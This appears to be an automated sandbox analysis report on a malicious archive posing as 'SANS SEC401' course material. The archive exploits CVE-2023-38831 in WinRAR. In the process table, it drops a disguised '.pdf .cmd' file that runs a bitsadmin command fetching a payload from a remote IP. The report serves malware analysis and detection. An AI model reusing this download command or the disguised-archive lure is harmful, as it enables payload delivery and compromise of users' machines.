| File name: | SANS SEC401.rar |
| Full analysis: | https://app.any.run/tasks/3f7423f7-9fbd-414c-afba-20188e170a0d |
| Verdict: | Malicious activity |
| Analysis date: | July 16, 2024, 13:13:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=store |
| MD5: | 1FBD3CA9FCFEA5AAC390EA38FF818CC9 |
| SHA1: | 04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93 |
| SHA256: | D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8 |
| SSDEEP: | 768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 3252)
- cmd.exe (PID: 2580)
CVE-2023-38831 is detected
- WinRAR.exe (PID: 3392)
SUSPICIOUS
Executing commands from ".cmd" file
- WinRAR.exe (PID: 3392)
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 3392)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 3392)
INFO
Manual execution by a user
- explorer.exe (PID: 3580)
- WinRAR.exe (PID: 2480)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2024:02:03 09:11:32 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | SANS SEC401.pdf / |
Total processes
59
Monitored processes
8
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2164 | C:\Windows\system32\DllHost.exe /Processid:{4D111E08-CBF7-4F12-A926-2C7920AF52FC} | C:\Windows\System32\dllhost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2248 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 3221225786 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2480 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 2580 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa3392.759\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3221225786 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3252 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa3392.45625\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3221225786 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3392 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 3528 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 3221225786 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3580 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
7 256
Read events
7 217
Write events
39
Delete events
0
Modification events
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\phacker.zip | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3392) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3392 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3392.759\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 3392 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3392.45625\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 3392 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3392.45625\SANS SEC401.pdf | ||
MD5:60CCE380DA0C5D26C70C4917C06FA60F | SHA256:BF76B9992DEF63B87CD3880487624F07D60EE0FC9003FE29A73A9AD3632C6AC4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
18
DNS requests
6
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1372 | svchost.exe | GET | 304 | 2.19.126.163:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?33775f6043c93e33 | DE | — | — | whitelisted |
1372 | svchost.exe | GET | 200 | 2.16.164.106:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 1.01 Kb | whitelisted |
1060 | svchost.exe | GET | 304 | 93.184.221.240:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?a9f83325acc8ca75 | GB | — | — | whitelisted |
1372 | svchost.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | DE | binary | 973 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | whitelisted |
1372 | svchost.exe | 20.44.239.154:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | SG | unknown |
2564 | svchost.exe | 239.255.255.250:3702 | — | — | — | whitelisted |
1060 | svchost.exe | 224.0.0.252:5355 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2564 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
1372 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1372 | svchost.exe | 2.19.126.163:80 | ctldl.windowsupdate.com | Akamai International B.V. | DE | unknown |
1372 | svchost.exe | 2.16.164.106:80 | crl.microsoft.com | Akamai International B.V. | NL | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
ctldl.windowsupdate.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |